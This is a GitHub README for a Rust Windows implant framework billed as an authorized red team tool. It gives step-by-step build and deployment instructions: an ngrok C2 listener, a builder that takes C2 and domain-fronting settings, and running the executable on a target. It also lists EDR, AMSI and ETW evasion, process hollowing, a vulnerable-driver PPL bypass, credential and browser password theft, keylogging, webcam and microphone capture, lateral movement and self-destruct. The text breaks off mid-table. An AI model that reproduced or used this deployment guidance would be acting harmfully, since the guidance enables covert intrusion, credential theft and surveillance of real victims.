sujan1-3/redcrab-rt
GitHub: sujan1-3/redcrab-rt
Stars: 0 | Forks: 0
# redcrab-rt
Authorized red team implant framework for lab and engagement use.
## Overview
**What this is not:** a simple reverse shell. Every phase of execution — from process hollowing into `svchost.exe` to sleep-masked RC4 obfuscation to indirect syscalls executing inside `ntdll` — is designed to survive modern EDR inspection.
## Quick Start
### 1. Prerequisites
# Rust nightly + Windows cross-compile target
curl https://sh.rustup.rs -sSf | sh
rustup override set nightly
rustup target add x86_64-pc-windows-msvc
# Cross-compile driver (Linux/macOS → Windows PE)
cargo install cargo-xwin
# Python 3 for the builder
python3 --version
### 2. Set Up Your C2 Listener
# Terminal 1 — HTTPS listener (e.g. via socat + openssl, or a teamserver)
# The implant POSTs to /beacon and reads commands; results go to /result; data to /data
# Terminal 2 — if using ngrok for NAT traversal:
ngrok http 443
# note the forwarded HTTPS host — e.g. abc123.ngrok.io
### 3. Build the Implant
python builder.py
Prompted values:
| Prompt | Example | Purpose |
|---|---|---|
| `C2 host (Host: header)` | `abc123.ngrok.io` | Real C2 server (sent as HTTP `Host:` header) |
| `Front domain (SNI)` | `update.microsoft.com` | CDN/SNI the TLS handshake presents to the network |
| `C2 port` | `443` | HTTPS port |
| `Beacon interval (ms)` | `15000` | Base beacon sleep in milliseconds |
| `Jitter %` | `30` | ± variance on beacon interval |
| `Working hours start` | `8` | Local hour — beacon goes live |
| `Working hours end` | `20` | Local hour — beacon goes silent |
| `SLEEP_KEY` | *(blank = random)* | 16-byte RC4/XOR sleep-mask key |
Output: `target/x86_64-pc-windows-msvc/release/redcrab-rt.exe`
### 4. Deploy
1. Copy `redcrab-rt.exe` to the target
2. Execute — it runs through the 12-phase init chain silently
3. Your listener receives `POST /beacon` with `id=-`
4. Send a command in the response body; output comes back via `POST /result`
## Initialization Chain
Execution follows a strict 12-phase sequence. Each phase must succeed before the next starts.
Phase 0 — NT function pointer resolution (indirect syscall table)
Phase 1 — SSN audit: verify critical syscall numbers match ntdll on disk
Phase 2 — Environment gate: sandbox / analysis / VM detection
Phase 3 — VEH guardian: installs Vectored Exception Handler → triggers
full destruct on any unexpected exception
Phase 4 — Ctrl handler: CTRL+C / SIGTERM → clean wipe
Phase 5 — Bypass layer: SAC bypass → ntdll re-read (EDR unhook) → ETW-Ti
+ AMSI 6-site patch
Phase 6 — Persistence: installs survival mechanism
Phase 6b — Token escalation: enable SeDebugPrivilege early
Phase 7 — Guardian thread: monitors for debuggers/tampering; triggers
resurrect → re-hollow if the primary image is wiped
Phase 8 — Obfuscated sleep: RC4 sleep-mask before hollowing
Phase 9 — Process hollowing: maps payload into suspended svchost.exe
Phase 10 — Post-injection concealment: module stomp + stack spoof +
secure zero of payload buffer
Phase 11 — C2 beacon loop: HTTPS POST with jitter + working-hours gate
Phase 12 — Clean exit: uninstall persistence + full destruct
## Architecture
redcrab-rt/
├── builder.py ← patches build-time config, runs cargo
├── Cargo.toml
├── build.rs ← linker: no default libs, fixed base, merged sections
└── src/
│
├── main.rs ← WinMainCRTStartup entry + 12-phase init
├── defs.rs ← NT type definitions
├── utils.rs ← djb2 hash helpers
├── hashes.rs ← compile-time API hash table
│
├── ── Syscall layer ──────────────────────────────────────────────────
├── syscall.rs ← raw syscall stubs (asm)
├── indirect_syscall.rs ← HalosGate SSN resolution; executes inside ntdll
├── ssn_audit.rs ← verifies critical SSNs against on-disk ntdll
│
├── ── Evasion layer ──────────────────────────────────────────────────
├── pe_obfuscate.rs ← compile-time string XOR; import hash resolution
├── unhook.rs ← page-granular ntdll re-read; wipes EDR API hooks
├── etw_patch.rs ← EtwEventWrite ret-sled (6 sites) + AMSI patch
├── sac_bypass.rs ← Smart App Control: WDAC per-process policy clear
├── sleep.rs ← Ekko RC4 encrypted sleep mask (RW pages during sleep)
├── stomp.rs ← module stomping into xpsservices.dll section
├── spoof.rs ← synthetic call stack frame spoofing
├── antidetect.rs ← sandbox / VM / analysis environment gates
│
├── ── Injection layer ────────────────────────────────────────────────
├── loader.rs ← in-memory PE mapper
├── hollow.rs ← process hollowing into svchost.exe
├── threadless_inject.rs ← EAT-hijack injection (no CreateThread telemetry)
├── ppldump.rs ← PPL removal via RTCore64 BYOVD (CVE-2019-16098)
│
├── ── Resilience layer ───────────────────────────────────────────────
├── guardian.rs ← VEH + watchdog thread; triggers destruct on tamper
├── watchdog.rs ← heartbeat loop; re-hollows if primary image wiped
├── resurrect.rs ← drops backup payload from NTFS ADS; re-executes
├── persist.rs ← installs + purges persistence mechanism
├── post_shutdown.rs ← WNF channel persistence across reboots
│
├── ── Credential / post-ex ───────────────────────────────────────────
├── token.rs ← lsass token theft; SeDebugPrivilege; revert
├── dpapi.rs ← CredMan + browser login + WiFi PSK extraction
├── keylog.rs ← WH_KEYBOARD_LL hook; ring buffer; C2 drain
├── lateral.rs ← WMI exec, SMB service exec, host-list spray
│
├── ── Collection ─────────────────────────────────────────────────────
├── screenshot.rs ← desktop BMP capture via GDI
├── webcam.rs ← webcam frame capture
├── mic.rs ← microphone WAV recording
├── filetransfer.rs ← upload / download with chunked I/O
│
├── ── Cleanup ────────────────────────────────────────────────────────
└── selfdestruct.rs ← multi-stage wipe: overwrite → truncate → rename
→ delete; Ctrl handler registration
## C2 Protocol
**Transport:** HTTPS POST via WinHTTP — traffic profile is indistinguishable from OS update or browser traffic.
**Domain fronting:** The TLS SNI presented to the network is `FRONT_DOMAIN` (a CDN edge or trusted host). The actual `Host:` header inside the encrypted tunnel points to `C2_HOST`. Network monitors see only the CDN SNI.
**Endpoints:**
| Method | Path | Direction | Body |
|---|---|---|---|
| POST | `/beacon` | implant → C2 | `id=-\n` |
| POST | `/result` | implant → C2 | `id=...\nresult=\n
标签:通知系统